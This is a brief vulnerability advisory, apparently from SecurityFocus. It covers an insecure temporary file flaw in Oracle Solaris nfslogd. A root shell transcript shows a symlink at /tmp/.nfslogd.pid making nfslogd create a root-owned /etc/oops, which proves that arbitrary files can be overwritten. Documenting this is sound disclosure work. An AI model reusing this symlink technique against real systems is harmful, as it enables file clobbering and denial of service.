source: https://www.securityfocus.com/bid/41637/info
Oracle Solaris is prone to an insecure temporary file creation vulnerability.
A local attacker can exploit this issue to overwrite arbitrary files with the privileges of the affected process. This will likely result in denial-of-service conditions, other attacks may also be possible.
This vulnerability affects the following supported versions:
8, 9, 10, OpenSolaris
nnDon't Panic! # ls -dl /etc/oops
/etc/oops: No such file or directory
Don't Panic! # ls -dl /tmp/.nfslogd.pid
lrwxrwxrwx 1 nobody nobody 9 Dec 29 21:24 /tmp/.nfslogd.pid
-> /etc/oops
Don't Panic! # id
uid=0(root) gid=0(root)
Don't Panic! # /usr/lib/nfs/nfslogd
Don't Panic! # ls -dl /etc/oops
-rw------- 1 root root 4 Dec 29 21:25 /etc/oops